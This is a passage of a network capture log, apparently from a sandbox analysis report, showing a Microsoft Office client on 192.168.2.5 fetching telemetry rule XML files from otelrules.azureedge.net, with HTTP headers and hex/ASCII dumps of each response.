2024-11-21 13:27:20 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.5	49902	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:27:20 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:27:21 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:27:21 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: 40dbe65e-a01e-0050-4363-3bdb6e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132720Z-178bfbc474bh5zbqhC1NYCkdug00000001bg00000000n177 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:27:21 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.5	49903	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:27:21 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:27:21 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:27:21 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: 95a88f05-701e-001e-7f87-3bf5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132721Z-r1d97b99577656nchC1TEBk98c0000000adg00000000cbv7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 13:27:21 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.5	49904	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:27:21 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:27:21 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:27:21 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: 607d0db8-301e-0052-4363-3b65d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132721Z-178bfbc474bh5zbqhC1NYCkdug00000001bg00000000n186 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:27:21 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.5	49905	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:27:21 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:27:21 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:27:21 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: d5dea27c-d01e-00ad-3c8c-3ae942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132721Z-1777c6cb754n67brhC1TEBcp9c0000000b8g0000000061ws x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:27:21 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.5	49906	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:27:21 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:27:22 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:27:22 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: b5bbaf22-a01e-0070-528a-3b573b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132722Z-r1d97b99577l6wbzhC1TEB3fwn0000000am0000000004pk8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:27:22 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.5	49907	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:27:23 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:27:23 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:27:23 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: 5b95a93a-a01e-006f-7568-3b13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132723Z-178bfbc474bwlrhlhC1NYCy3kg00000001e000000000k37k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 13:27:23 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.5	49908	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:27:23 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:27:23 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:27:23 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: a3cbb3ed-701e-0001-1ea5-3bb110000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132723Z-r1d97b99577ckpmjhC1TEBrzs00000000ag0000000006v2z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:27:23 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.5	49909	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:27:23 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:27:23 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:27:23 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: a16a2ddb-901e-0064-058c-3ae8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132723Z-178bfbc474bbbqrhhC1NYCvw7400000001ng00000000f12p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:27:23 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.5	49910	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:27:23 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:27:24 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:27:24 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: 36815d12-601e-0070-4763-3ba0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132724Z-178bfbc474bmqmgjhC1NYCy16c00000001gg00000000guqs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:27:24 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.5	49911	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:27:24 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:27:24 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:27:24 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: 9dcf90b9-e01e-000c-7364-3b8e36000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132724Z-178bfbc474bgvl54hC1NYCsfuw00000001f000000000ebq4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:27:24 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.5	49912	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:27:25 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:27:25 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:27:25 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: 873207a6-301e-001f-2d8c-3aaa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132725Z-r1d97b99577hc74hhC1TEBvbns0000000a5g00000000fg8d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:27:25 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.5	49913	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
